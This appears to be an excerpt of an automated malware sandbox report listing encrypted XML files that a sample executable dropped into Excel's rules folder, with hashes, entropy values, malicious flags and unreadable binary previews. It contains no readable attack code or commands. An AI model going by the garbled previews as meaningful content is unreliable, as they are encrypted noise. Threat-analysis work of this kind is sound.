Preview:	<?xml..b..X....p.vL..Y..l r=.a.I.}d..Gdc......Yi....9............a..d.B.D..^..S@..B....M.\...N..l....~:..U.xT.08.%..q[..^.....X%...6...\..(.<.O.>......:..+B2\.s.(...\|...W.e.w^.....o.3......yLGm./.k-2G.I.G.{..v.~DJ...g4.....s../O.kH.._Q..J; o.h_PT1@.G.&<....2D~0NN~. ....[.m.w....^.,...(.e._..c$.....d8.D..]..:[..Mj/....3....e.+7l7..f..J..8...eN...:zn})y{\|B..........tc.`..]..JJq.i..V.n.\|....h. .R(..;.2.m..%.....I.ykIW.pT..Ltz{K...O..............~.z..!!iF.lP...3...qjA.. ....#1.#Z.X..KP0.3(.......v. ...1.q%.j....F%C (S....2gI.....S.l...eH...W7X.'.I.............sT....=..V.....;...".x..p~l..F..{)..P...,s"..a0......~..U.t..u..>#E...'..p.. u.fW.8d...G.S.A...............m...R..._.....q...m..A....O.,..=.(...Oz'..+r<....z&`[.b#>.].\Bu.+`.../...l.R...b...".w.>3.. .\|..m.x..^.i&x'..9.1P~.3.5...Z.[w..\....q$...#...kV..>...h..g^..\|..5.L.......#0E=>.p/.jH....B}....iW<...X.k.V.w...j...!.O...,..D:....~%.I.....NI...0..Rk..;fB.S5.7.;B.*..j.................b.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370009v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.758798963798815
Encrypted:	false
SSDEEP:	24:0O42dDS8fwz5dWoYBFVLARYadGUlcB93OM2bD:0O8qwzTY3VLARKUGHVkD
MD5:	97A565C572A358F85BABB41AE9B4915A
SHA1:	ED20EEDFA1DE7438C3D892B33204F144C142DE79
SHA-256:	B9D1B98A342964DC575349B7801AE2E9841C025C7437A815589679C55CD2311E
SHA-512:	A1BBEC85FED5EC8E4FB9C186E9209F7ED870EDB62905C4D6BF5DF86535BEA8C5F6607AD139C6B9E9DEB54F13B09482AB62FA5F902473AC75E7D08524C6B2A3C5
Malicious:	false
Preview:	<?xml..j..7.K,....F.!..S......f.}1....a.70.{.T1..=.e...3>C...JE.FZ.W...<zA.f.R..D.#.P\.....o2.Y-k...jy3...mu.e....-.!+...........RQ..`.<T.6..pB.t.......N8..1..;j.n..US..v.....^J.........g...k#.vBo....#1v.I.....U...v}.04.US+..._..jb..-........B...:.R9...p^b...Y...y.+4!Y.HU.ND...aF.^.U.^..g.........o...EGOp.....C..;..`Bp.,...s4H......LI.l#..#...x.B)N.[E.W.j...Nyt.<E.....@!...._:.o.........KN.......s.".r...uK&....I......)X...k\|.a..Z.h.^3J.Gh$<W..an.......B............M..vcS.9..,!^..`.]..,+.......;....{.....b.H.a7..?c...t....)..2v...i73.C..m..c.RH<X....M.0......=Aa.]..-W.8.......=......Bp,b...\+......u.B.W)....I........F........i..#...6MncQW......k.f...9...T.W..i..&...~..s..N.C...r.y%.....4q............E.......%a.LS..k..f.?.....N[p.....Pzm..&......%7\s.......`...W.X..A.\QC...C.n...p*..Q...Vl..c..B..y;......=........@A..:J.&.M......@..6oSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370011v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1191
Entropy (8bit):	7.822713677538428
Encrypted:	false
SSDEEP:	24:ajrYwrfqEzdPq6epFx2bLoM47MUhe9CxfjWOES6bbD:aHYifZzdPVepFxbNaotEtD
MD5:	C5327B994CEA5714F2E2E63917500AD9
SHA1:	EEB6672A5E756E8D87005CA820ADE48FBB0B627D
SHA-256:	16540EC1441FB1305121F57F732F279992D36614F874516974122FBF1C2DF76F
SHA-512:	6D4C99BCA27CC47E2613AEF654EF2F004670CE01BCADE0DD11AC31BC89B1A3640A54D07021F313C5343FB76A197A4B2805E8D7D9FF5F98ADEC6A94AE37FC260F
Malicious:	false
Preview:	<?xmlP.).%......LTi.a....../AE..../!.L...8)..v..&G=H...=...(N^.}....u^..).A4.w..v-F..J......s.t...6SM.5^.L....)a.+.i.x....m .F.J.7.....d...0..Q.....O....e%..n..d..QbG3..x...A......k-.>a....y......;.....................;l..Eo.K......5..}i-O.=....`vaME..O... }.z.qi...(......G.-...h..=..:u3......._.c).....w........BL..G.G.V.W.M....3....\]......3...=)......4.\|~.:.....R..k..".0E......)..2co.!.j...o.....e.&.>.#.,O.!q.x...W..:....2~.P.........#A.o.q$=!:.$s.V)..........U.Z.............<..@P(.r.A...F.Q..$..9.(..U. _.%...p....)..,.&......O..]97.....7..Y.l>uW...%.k....=.T..NT...(...Z.MI...c.....Z....7..J.&.....R..'.G..}m!r."/......}U1.....I<........n.@..}...u].{....l=s.$(..3Gq>R....t...}.<..>.q..Z.fF....w.....).......Y....E....E.....]=...E_.8c.H7W..?.7,.]....wj..x..<.3&.o.......6W.....V......4.....fAX.:..8...m>.\3B...C..E..f..#.....0...._....P.mKT.c..7roE..1.p....#xB.....s.bF..[..l.OG.i.p..G...XB...i..h$....B.......2..Ve0.v....%.....{.&..m..?..+.8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370012v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	732
Entropy (8bit):	7.719878685497681
Encrypted:	false
SSDEEP:	12:HDXtaAvg/a8uGgFx7Ytn8GLNo5e8EtlQVnGlxFwnJxpcjgGwp2xr8mnCvf1+ciik:BaAggFx0bLNz8KQV+knJxpc0G22xrT9X
MD5:	5FA88FF51302FE4016B1D6B8AAC35E44
SHA1:	B4753AE699F2DA2E69E0AA43AC80FECDBE90F81F
SHA-256:	3627714DE97045F2815803381B6CADD18A0EC6DBED1D05EB064C86EC9D41EAA8
SHA-512:	3376407DB02F42F2BDBCFB15727AADD53E21E8ED93D4D33E86CB00EB862EC05919B3EC222025322A7B4871EEE6A20B49320E8843C57531291904943F9EA2B70B
Malicious:	false
Preview:	<?xmlS...4".;.>#/$.<..A..?a;zU.~B.&7'L.c..S*..I.WZ..]..?...n'L.R.VLq...P.H.X.>.QqM.k.&.'...\|..W..I.B...1..1F.!(=?M........v.Y..-.C6...b+S....c@....-...)...?.x9..b...7.z.N...S^..p...w.)E.}F<'...p..kN....) `..rrz..c.B..).t..=W... Do..[..<h.iA...i..>._M.V.(T.........-..lf.m>...l.(t...V....])......&.:.9bR.W...m`..CV.B.....o....,I..D..:....}m!...w.^w...d...z.......-.......=...#s.g..d5]...g.2..H...K.z_.0..<...X..<^...Q.&.5.ATP..a....\.;b........dW%ul..fQ..uZ.+...V{..uR...][..Z.....dh...&...>}V.c.y..#u.Q..W..v..s.Xc.yT.]...+.f;#........0..XA4..y;t6,g..^...40\Cvg..86..........n..q..t..T&..0.2.-....:xh....q...tSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule390004v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3616
Entropy (8bit):	7.9423150124857305
Encrypted:	false
SSDEEP:	96:2OYcdiKPDlW+d+8Eyh1td11JULUEOJj/vFBEGV7v:dYpolldJh7d11JO2HFhz
MD5:	0B5F56F725469118635A6420522A6CC5
SHA1:	B39261AC62E59E7988983873CB42BB0F6EF6DFFA
SHA-256:	64EBB12414967E705F009D5F351BE9A21C0A8AFDC22B6883AE3B69A5C0BCB9EA
SHA-512:	20B733C661BE2C70EEAA49D8F98866B7AEAEF3ECA066B53A3CA912209413AC66882C5FB36F3ED8E1F867AF0C2EFAF316553B09B102D472F6CA99C6C6601E258B
Malicious:	false
Preview:	<?xmlKN..._.3..AK......,.m..;..[]...F...K..3..8./jd....=0..59.....;...(.X...c".a.zO....\9.......jl......<.+..DY..[.{..au'[l......_\}....$..t_...=4...@.h..1ekh..S.s.....E.@.r..%DP.'.....=Z......:.P\|.m,.9.[B...yW..........9~SCy0.a...eq...o$F.....f...t4Z....#..@.......2.R.]...AH......$....(l(.m..c......41./ ...@.-......x...U`....Q.g..R..<.\....,......_.b....Z.c[....;.`.....Txi.......zE....r...Cv.7........z.t...R.$....Oj..R..e...z..96.#...&....G.........e..3.-0=.Pz....o.V.]O....x0...Q.mo..8.i..y......<..H../>...I.%....$.T1.f.)E.P....j.Lf.....].@..."..(.._.`.(....j.J.........GPLV...sR..6"ks.5(.T..U`..CC.....a...0i.'.(.....!%l...oz6z...<g....._+.A%.%.V[.x.Gw.y".2.....;{...Ut..O..kv..$<.).D....g..EI...N..8v..L..S..l...n(h..>u.I.....N..(.R7S.zJR..K..!......#....\.b4\..[..2,:`.r.*7.M".V....s.X.Z.GD....h....\|.k.b.#nJ.j.5. Euw...0. ..\|..k....4P.....I4.p\.%.G..y ....."R...#q...D"...\|O...(\..XU...!...]...cbj+...Ha4Q..w.).".+.......g.-.h...l....?Z....Nr.S+..V)p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule390005v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	783
Entropy (8bit):	7.758914376784096
Encrypted:	false
SSDEEP:	12:G6aHGq9rzJ67/sRGUB8x/W83QrsYhiZugbFSPfe5kEC3ZC3At814WFxHxnW1+ciD:G6aHGq27/GS/8rsYAuJ/wACOWrRnNbD
MD5:	892A40DE2B9229AA4909B98F11005D7E
SHA1:	22C7DFB337AC6DBD153FE8286DB149748123C8E2
SHA-256:	54C924A65FE324475451C57313B4E105A39EA06B53E2B5DA7E499458B77071BA
SHA-512:	2FEAABE244428F1A7824DDC38CF414A6DAF367DF97F8BDB070E8780728E63D2245FE546B538602DF5867563CD5B075AAD016546566D84CB5402B5055C91FBE4E
Malicious:	false
Preview:	<?xml.@.2:1j....wO}6W.4..\|. ...]U..-.^..H..S..-0$...Q@i.O..%...c. .L...Wd......\Zx..B..:.})......'....gDt...o...j.1a...t.Gi.o.t..(Q.F.f.wi.a....W."&.......m<p...b."m....[a.......(..Kw...V..9X.`...0Gn..s.....m..g..ZY...9Q.#.....}......=.....1..V.zR...9.v....q.b.:]...3..&`'d..../..@h...B.......P1[.4@x 9.8..........C.}.'B/r........8...6u..y.{...0'....WC...\|?..QA.e<.R_H.._...F5..0.6....%;$6e..='.N\|.K.........\|..g.n.U..L.....O.T.;{<n...`M.aj...Z..A.2.JJ.T....C.%.&.~..VTl..~.j..o[\....e'...6H.~-.....hJ.j.....r\|>..6.+...3Pq...S...N..f.A'..3...7p. .Oj/..........2...x...Z.!6..N.Y.............2..g..?..3..._RV.Y....b.o...U71.z.......... vn0.....{..\|.j.0.....1=\|.g...M..oSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440000v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2331
Entropy (8bit):	7.928225098902997
Encrypted:	false
SSDEEP:	48:g4+lWU6k3IMVio9b600VI+gUBNAMaJBp8MXNtLMP42MBkf2WRD:B3wVjbt+RBCZJBSMpMHMGf/Z
MD5:	22DCDE3B4C380CA94FE8EF63D2B32B53
SHA1:	4B0140BF1A87CA28A15069D25DA0E75F2264C389
SHA-256:	E3F5B8D4ECAA322C7F1A5DFF1B597166639C9E8D15F5987A7CF90037112B1467
SHA-512:	1ECCA811FD27A49B8F6D66B614C17BAFA9D8EE0C7073080A2961AB6BA78B6169E4B723C57872E2F394B6A051753D467F6DE25F712994585758C2546C72127D63
Malicious:	false
Preview:	<?xml..bE.X!....GJY..7nM5.S.....W.<.....&.>................._...V.%....~...Yo..lV.. ..]z.r%.C\...o....;...5...Z.@>M...4.U..].G .:Cn ...Spa.....z{=.I..os..`.\......B.VP.".[...0..v...'.sS.^v..i.mf...L.Y.K.m}..H..F....Zb.-....b.%b..q.[R...0...^5I.=.L=SA.Z..d...knLH....]...$S........x.j..?.W .j.W..\|....s?,.ou.....s....g~.0..=.@OI.P.d.I.X;j./E.GJ..!!...4....T.G?...?.J_.{....,..'k3..X:T.....AB.j...D..K.\|7OpE.c..Y.alt...u.y.....i....CYt..#....g..?..I...S...4c.B..(=i.3.H../X.t...v.._B.....<{...;%.....YM....1....]...R(.;...p.c....}JBz..a.DgvQ.MV.\|.ycM!.#.%.o....x..j.K..HQ..v{...(.Z.....[.2...n..%A-....sD...eQ.:.&.7..A.3... ..)..(B&....I.g..,.3Cm..zhv.4.6.e.%t).e....>...s.pG\|.(... .....Q .qW.....`.Ro.)..,Hd.%I..6.<.5......qSb) ......p.f..........o.U,.q...C]&Y(.I..v3..E...A..T......f...-......k....u.j..x....iL.*.;..MMxr...(>..i.gP....kA..0......H2.y.0X...b.H.f.......Y...m._.J......F..w?.if.@......)#..._.>y..Q.'.P...."O\|...c.O....3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440002v9.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	44492
Entropy (8bit):	7.996276120969674
Encrypted:	true
SSDEEP:	768:W5zpleQGDbva2TwqPGAIXLw0x7DCckGo+MLNmkwveetY0PLrdMaX:+pleQwvaFqkRU3LAkwvB3rdMaX
MD5:	D230F0E587896B8B83927FF86916B759
SHA1:	6A47D4C16A278BF1F70491D4B2D59273E63D4076
SHA-256:	07FA1AABBC79A03B188995944E91B9173CEF32F497EB7C0AEEF173FF856C9F4C
SHA-512:	7F4948B8160151B474DDF4242A0F2059E987438C54A3A8DD74610CA319F4D0CB721623D0FEEA9E3E50D633E68CF38AE6DF162FBC56562474A9C84DC96707D6EC
Malicious:	true
Preview:	<?xml...\..]..h)....g...tz{ q..{.....0.p..W....@.#B.E...'.......c.....X.ZS.;......D1i...N'.w........W.F....v..l. ..W..s...5Cu.$......=h...c...@e.I;I\|=..DQ...R.@.l.Q.Z6.a.I..X...qxT...O.w`mm.a.....+.f..Eq.#..0..XQZ}.....0C_hZ..<..u..KS..oy....z.fu..^.k.....v.r._...ZN.I.d......p.Fy#.vB.......)B.Q.g^>..!v.j.........a.1..gw....5GY.lQ..x.q.V...Mf.9,.......t.].^..p...e.{...f.....)......@.j..Wl..S}..`..K?..~.../.m.......-T.......k`...:.g.q.....!..6kA..fS..F(.w.x1. ..r[../J.+i...k..v\|.O.L....Ep.........\W.d.1/..8.....2...&t..)3U...9.l!..\...<y.Yyl.0..;Vq.{.U81..X$...._..B._=...JR..4?.)...J....Kp..5+..k).v.(..P~..s.(...Q8........B\|.jp\a.X=..s 1......LOL..8b..;.......U...pS.d..Y."B.\|RWy..&....<w..:.[...c3..........BZ......w...j.x.M!..7...:.!.B...}...D.u...W^u..`......>.+..)\|..Q.....W.+..M..c.WG...n^..u..g..i+..S..A....D_.)...;.E..W\~.OOZyZ."5.......}1..8...P..(......o...P..C.BU..D7#O.>r...U.(..]..4..>.V...&QC......:...20......./N#....6..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440004v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2338
Entropy (8bit):	7.919188281866102
Encrypted:	false
SSDEEP:	48:BvkQChpFf5qeKw4h3YJOOnQEdGO0eJJdrfIcGUN3IZBqRTOD:BMQC3TGvI55XJJdTGk4/qRT2
MD5:	86DF8BEE117742F0B11CBF82DE0B4C11
SHA1:	7B032EE8C0462B2AF896E9691110B3090B2D7E97
SHA-256:	E946BDDAD8F16B78D8809116666CDB14E8BB4D93B0E0A0046065E3AB322694C2
SHA-512:	EB3F194B806F778591EA7B02D173F5E43B48E358BDA51A980384F14B69DAE81631C4A7EB8367DF2730AB64D61D5243ED53CC3DAC8DFB748441805025DF148A04
Malicious:	false
Preview:	<?xml.....n.'Y,....<...z...\|r.M..%.x..S...i-.M.".ZYsA.n.]j...K.M.53...A.I.#....j....t.\|....GiI....5<P....AI.t/e..0......,x...u...B...U...-r\|.Be....JA....k3.F.}...`.:x..k...'.........+..?...../....&...%.SN.u..!...J..sS(PC...(.;.....}.\|..{CQ\.,.y..i...=b/...=...N...........P.:....+.......C... i..zk.X.]...?.L..l.@.KTE....}..4s..+...Z.._..f.4y.Ke$...>..v......>a.....3.......=.H..2..()........=#.P.Z..f.W.....F..M...e..Y..b.9m.@.]...g....w.1.v.!.........;...X...9\|x{..{3.#..g..5....9.,C&r.+x.1....X.vDh.^ue.......bJ..[.....x.........u..RV..S...>A.C.......H_`.....2x.....3}..r.B.L..Tz......n.H......^.iH..D..4[J.Q...0...a..,...^E.,Xms..c...s.Q,E...p."....46...........k8..3....d}..Q....f.d..W..~..^..6..J.Yj....V.\x.4.C^..Y.c.F.r...E./b.z.2.:..8......A.a.:L6.d....._@...VX...gI....;.....1&F..E.........(.lF...(........w.P$q.en.....v.$VYX.3..v.%.....p....cB...k..m........}......{u...C..k...B.&..wZ...L..A.X...x;Z.p..-n...~.V......b....@#3..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440005v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2320
Entropy (8bit):	7.922854361627655
Encrypted:	false
SSDEEP:	48:klqhW/daVjlO6tGmsZzUpdWSypnM3RVsK+tTpgGZ7CD7D:kr/SjlNtGxZBSypMDH+ttgrD3
MD5:	6C3F2325013CA6127870CBD33965F403
SHA1:	A5D4BDB0F706ADB1959BBA17AD97277C96134666
SHA-256:	ECE35826B85562A0B88DBFBC65E30FB00DC61D66EE32AE3D4F3A94EC87415248
SHA-512:	45079C10D646207E200CA8F931C818EC07E4F9F794D60770F2B80AD87B95BB01CCE8ACD058B398EF44050B37B405B8881221B043D6D6E85E103AA6212EAF931A
Malicious:	false
Preview:	<?xml~k..%...gnt...hy..G.....q.m...Q.E.>Q.:....9~\|.?.ci...VF..Vg*w..)z.@....X&..W..j.!...$..#..d.6.t..6......D.$.v...f....T1 .....$..H)...aI8Y.mX.4M.5..2.Su.;:ZC=.8.......z.w.._.@.b,..^>.Q$N. ./..]..........8.=..<........"....L..&.A]B..G.H...7.EO..t.F...HZ.k...G@.~...~.Cb."E....=rX.j4O7R.,..6~....-#.Op.n>=.4...l.....Q.c.9Y.Z.Kb......,.?..".......>../..@{.~.kj..-.._........w...<}$.^j.\|.8....E\|ZP.s......I.r...B..s..6k.......!\|D7Cx..f.F.(.f.X........kT.F.;k..D.......P.d/.%o'"/.....6.u../"..M....v...._H..2...........=....k.O..DS....-.I(g.4l.x.(Uz.....d.C.n..u....f..~.3.!....+.=.....e....H...A.?.8AA..m..x...?..%..b......0.5.R..>:...%...m.Z..F..\|.... e.;.J.."/.".d.].l..\|....ri..;l/.Q..>...M...y;..~r..T.....Qs8..n..F.....W.h/.}#.....@kyw...H....7.Up...+......$x..6>....p.........i].4.{5......X..S.H}._.n<(..\.lv..J....N$.}..y.+. t."..8..0..0.`@..Ae..,86.?..@.(..`04...T....>\|...w......t<......KqJ..5...Ye .'.._..4c..=..u;.0....,....u..A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440007v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	41208
Entropy (8bit):	7.9959267661636355
Encrypted:	true
SSDEEP:	768:/FrS8ETxJyYAQESuB2y+fQz7MX+jLtPQy/JwgotyjAF:7EPyYKB2y+fQ8X+jVQowOjg
MD5:	EE6237527598D33E7EE48BEC67E6E533
SHA1:	B5B783CAE6D2755D1101F9A331EE8FA272CA68F3
SHA-256:	A26EE2FC7F307E48865016C8FFAA438C473DD78DE87180ED780AD91BA3942070
SHA-512:	4F8382E539128307EFFC2099C5892C1ABB5EE8F0B04F4E8F78979053FC0DA9224FFDAE3EA392D18710207654D1FCB73463EE7AABD1FE1266D03AD261DF2B9320
Malicious:	true
Preview:	<?xml....R_......$.....u..-[. .A.B.ge.+..3.$.!.C?.C..............,....K.v......{..R..._..T..1...1......X..v.....[\|..........g..7.^.....<..2..+....E8.._.)..>..N.V!ovL...,.:y..A.. b."......n..q....h.5cb..Ar!.&c.I..o..=#..1.]sz+....k..xW.;'....VSPm..uA].........W..$.6.......yF.(..h.'53&T.Bz.N%...^.Dx.K\|x>W ..$.t...S:..Q"...<...,...S...ua.^.@.a.\.+3.NK0.s.W..K...8O...J.......R.Tu5....S..\|.d0.Q.>6..c.*=~=.k.d.{ .<.......l.....evC.~'.0....y..Q..x.Ih.........Wr....}.D+...CP..B.+..LV>.P..Ez..z%.<........._7.. .........T`>h.....[........Q.UA`..(.Pr..]LKu_.``....@..u.z(.~.Y4.}.r.Z..,.>...6..x...8 ..o?F................<.....gR.4...d....^ K.b..7.~.....P..y.]..3W...0...3N....!M.J.zd.r..._.=.(%..a.[......;.............XP.h.zA....%.a(...$l..C....xKgJ...7.+V....>=.1.S..#nl.b......^>.lj...iA..IrM871.}.._.(u.sh(.....sB.n-.k-q:.qp..,..`...R.y)..tW..C...0?.).~.vC..<.W..sS...DT e..y;...1.j..._v.n! .fjV..`&..l/]..,x.dS>..Jp>.....W5.....)5.....Q.,..'.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule460008v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	785
Entropy (8bit):	7.7477921651384305
Encrypted:	false
SSDEEP:	12:5dF/2bbL4/7bGwMgUKU8qyNhuxDD+SH+jMOO297vd9BGKWgUkFXf1+cii9a:DFOj4/Ww/UYIpD+m+IoBGK5YbD
MD5:	859F0F11BC070CEE5B431D684A16CC97
SHA1:	70884F727ED1CD45EC6F7DA34D3EC21065D87598
SHA-256:	CBA96F354C20E0EA2370E40198E3D4F4E4E46C8EA015F193A74908AE88B2D428
SHA-512:	BC3C23A41E42C90AE313D779E6B691639B8972A4914FDAC84C5BF4F7DC81314CEA1C031406D72F2852CB7F6D9AE1F04FF1446C86FE76CBE6590427D9294D955F
Malicious:	false
Preview:	<?xml...a....6..[.w..qo..~e.(~@.....\|A.C..0u.0F./b/..:.R.D.q..>..o.o..jr".o.(.mG(...>q.#Tv4..Z........\......4....J.aW....0...M.8...3..#."..o ...0..Z.."Z\.....Ct...2...cw......M3.H....~..V.C5Ou.\|...b../T.......tu.j"8/W..W.DP.d...+pG7J.~_..............G?.X....p..L$.\.......W....G.i(...o........0..N.i.~..'yd.0.XY../Tz6.....%VQ....@.;.;..T3..j...D.t9...3...[.p.._.4.\.....#..Y...-.vx.q..mn....Gm.$...e..)..._nN.U....\..7I..5&....e...tm~h..t..&./$.f.r8...=nh..2.B-d.#Y.........y.-.\.......R.h.h.......<cN.c+.J..CQ]6....Vh'..mSl.FxS.2....B ..h....(..F..fV....A......Q<.X.`sr..r...@....-1....$".%.i...'F9..z.}.q.d.Jg.Zv........r.....]w.5`........a[......l)s0......l..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule460009v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.733402603889566
Encrypted:	false
SSDEEP:	12:eKGgX6S6REHLMyJFAjYrumBRCEeTsbwXSjTXHkqpiqIbywztiKsdbdda1eo1+ciD:e9Twf4Y/YTsbwgHqqIby8M5bva4DbD
MD5:	C889C1856F2DDBB5A3D465B8BA5F8A10
SHA1:	F4F875C0645CCFB2C4F0771B7CDB574CE08D469F
SHA-256:	C1533812E35F3C86D0A72A8A68CC9C761AF2480553B367E3E1757648A13532D4
SHA-512:	F7C1748867DB98B26DA618D03AFF8C6A90F17D72DB033ED26204B7969E90D3BE42128ED54430879B488382E6E51E05EE003D69D9ADE1980D3D9746443E5C403F
Malicious:	false
Preview:	<?xml.?Fw.2....q.0#.:..Kq6....n.5.C^\.X..,1..mu......X..j..X.).pU&.dv=..-..._Hb.T..6.<Or....Y!.>...x..i...yEaA.w...c.E\N.$.5.ff..ScY.&G..q.k...~..<.]L.H.:.a}.....$...U..C..G.X.J.g..U.]..M.E.4..O........^..p,v.M.7R.sox.3.... =#.....).).!]t....h..\.OF.....&.3]ft....a.;{..#E.NNeo.5..U..HulU..."..pE...wL._4...%..Z..'<;K.~..)T..u^..L/6...M....,..Sil7.>...... ....".]...l.......T....6..*..[T..X&..ij.j./..=.+e.O...f.e.os..vf_m.z"M....Li.g.....W.%......s..F.....,...d.1..).<.}..+1..G......h{..A.w8`...g.....1O..,u...sZ.~..N;.D...K:X....?S.:0.F..5.s........Z...J.;6..x"...Vb.dK/}.Uj..7......K.%;....AV&}...S.<.~....e.+y0jQ....4>...(R...\|`...A..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490002v13.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1428
Entropy (8bit):	7.859331315158409
Encrypted:	false
SSDEEP:	24:7BMEHTfi70Lp3C7OqvHaKYhvzKcxXL0z1iNYKbW9IniQkIdKB03o98wlmbD:7BAwLRC7FflYhKcxXwkMwhIOwCD
MD5:	CC8031264CBF85658524E2E43C62A554
SHA1:	AACB7E320B17F7DEE0822E53BE111ACCCC53AA9C
SHA-256:	09EA33BDCB590505D9C596D6FA4A87642157E9F88F2FCCF99C18A11F6075E913
SHA-512:	1F67C0C520F321FE420AD5AE06A647CFD1F599E7025AF15C1309D87AD78C47C22B1D711157DCD766E7F219F6A1EAF35BB5691417BE86609454A317978D91D988
Malicious:	false
Preview:	<?xmlCt\|..C.+.l...~]...l:2k.+..1.P....X..^1.....I..jBs.N..mA...\|u..d];.[...Q!P...'.p..!zL-.gP..U..oX...w.`r..V4..7..^.(k.....njq.4...T...'...........;..U.A.../(.7.w.....z..7.n..#..k!.. ..x$4.KL..#......EB..1#....Fs..lT.-L....7KPTV{0.;.r4&e.....A.y.....XR...\=......5..Y3.....wk&D.E...].M...l..8No$\.SeG..>....m.....8.W.YK.y.U..`D}B..1..u..i.wn#...C6.H..a.T8[.z. ..!iAe6"p...M..........5...+&.+.'.Eq.7?t..M.1...o8#..F..o..`....e.UBJ.-h..W.x.#....b0.....='.Yy.[.f. ....=....s..\|.eI.7RC....~..DMl...4...0....+..L%!.B<..g.,?....F.....+.O!1w.6a.O.`.....'NKXj.W.`3C."..u..?...ku....}W.....".cM\|...n.8.G.....q\|..1..S.+..'. =4X.=Z...i...O..].).fSs..p....+e...`+.%...4.+......re.Q'.A....M...Q...9.l..HS.B_.A....t..b.8.....`./....@.......^...T..H....NP......LS.kn..x...=+..0.%..Cb..U].U)eZ.9.:D...8 \|t..............D.O.E(..S.G}`..?q..{..(....`.{V+...J....t....EE.f.z.P.......$.P'i...#!...n.Y=..[.s...~......Z{p.G..........r..v.....,&k.(...'c".L...:.....=.G....K.W..........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490003v7.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	7.779467270970573
Encrypted:	false
SSDEEP:	24:mf/imG9W8i43yp4gnaNe2MYGAONgKAMXL988K2GfEbD:mfe9W8i43ySy4e2LEg87q8K/fOD
MD5:	B1D00A26B899876349F0581D7FC19D8D
SHA1:	F03CE1E711C752A10FC7C9CB6325AF0CAF057B1D
SHA-256:	C42CC0888D5D58938302B680A74809E17A4282EBC673BEBE7FF5315C85AAB649
SHA-512:	9EED8CA880951E3D50312427CBC6292480CB2CEF9E5F61FBC16A65A50F0FF11FA918C6686FDDF1BD8A8AA7DA62EDD5923FEA1B05EB1E5DE0454E0FD61CC71848
Malicious:	false
Preview:	<?xml..>....4..t...t.4...,....m..1..2..s{.t.[.......ML&..xc....J8c.p.$.Q .k..^.; .]. hO..).^..o.....Y#....[.....K...7...9G....68.X..\7...!.........X.3.v..o}...U... .1...\-..\<o..\|y........f.....I.:V.....~.^..k.YP..JI.._C.\|M....={.-._.........b4.n=F...7.b.J....NdJq?`l.O7........1.H.....`=m....e.b.\...Ya.k..ch...{)t%n..`Edn.Ms.@~.&...Y..G.t.VQe..I.Y....;}......g\..5.....L)q7.....-.6.mX5..5....m.:a!.7...R..o_.c.F\=..N...f.}r..=..U.\...,.1....p.!^=f.T.....F...)e.....&....8......IwKB.bS..p.f.]..Ax.....D..8.EI.Z....+P.9q..H~.?j.xUt..OD.....U.?..C....G...`\..\|.?-...\........8.-..j..O...RDCQm\2..kG...7..W.&.)50...;..'...\r..N9 e%R..0..I..}2..`.H.. 